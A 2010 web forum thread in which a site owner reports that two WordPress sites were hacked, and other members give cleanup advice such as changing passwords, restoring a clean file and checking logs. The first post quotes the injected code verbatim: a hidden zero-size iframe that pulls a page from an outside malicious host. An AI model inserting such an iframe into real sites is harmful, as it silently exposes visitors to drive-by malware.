All my wordpress sites underattack 3.0.1 (different servers)

Discussion in 'Security' started by neeshu, Oct 22, 2010.

  1. #1
    Hello two of my sites were attacked by malicious script and are now down. These two wordpress sites have been injected by this code

    <iframe frameborder="0" height="0" name="frame1" scrolling="no" src="http://roots.choufouna.com:8080/home/1/" width="0"></iframe>
    <!--73e181c1b8bd4e09d3bc7f39bb0cb1dd-->
    Code (markup):
    the file which was infected was under wp-includes/default-widgets.php last line had this code my site autogl.com is already been banned by firefox today what should I do Please help me I want to prevent my site anyone else facing similar problem
     
    neeshu, Oct 22, 2010 IP
  2. mcfox

    mcfox Wind Maker

    Messages:
    7,526
    Likes Received:
    716
    Best Answers:
    0
    Trophy Points:
    360
    #2
    That doesn't sound good at all.
     
    mcfox, Oct 22, 2010 IP
  3. aap

    aap Well-Known Member

    Messages:
    1,802
    Likes Received:
    39
    Best Answers:
    2
    Trophy Points:
    120
    #3
    First step you should perform is change all password. Don't save password in any FTP client.
    Ask you host to have mod_security and csf firewall installed.
     
    aap, Oct 22, 2010 IP
  4. neeshu

    neeshu Well-Known Member

    Messages:
    648
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    130
    #4
    thanks guys all files have been compromised entire site is showing the same iframe

    both sites are on different servers I think some plugin is causing problem or may be our ftp client is the problem
     
    neeshu, Oct 22, 2010 IP
  5. mcfox

    mcfox Wind Maker

    Messages:
    7,526
    Likes Received:
    716
    Best Answers:
    0
    Trophy Points:
    360
    #5
    There is apparently, a xss vulnerability with WP 3.01 although I'm not sure if it requires ant plugins or not. The other thing you're talking about is Gumblar or a variant. More info here and here.
     
    mcfox, Oct 23, 2010 IP
  6. phpSiteMinder

    phpSiteMinder Peon

    Messages:
    47
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    Replace the wp-includes/default-widgets.php with a clean copy and set its permissions to read only. That way if it was a script that modified the file it wont be able to do it again. If it was modified via ftp, then you'll need to change your ftp passwords. Search your logs for "default-widgets.php" and see if you can work out what changed it.
     
    phpSiteMinder, Oct 23, 2010 IP
  7. neeshu

    neeshu Well-Known Member

    Messages:
    648
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    130
    #7
    Thanks for the guidance guys
     
    neeshu, Nov 11, 2010 IP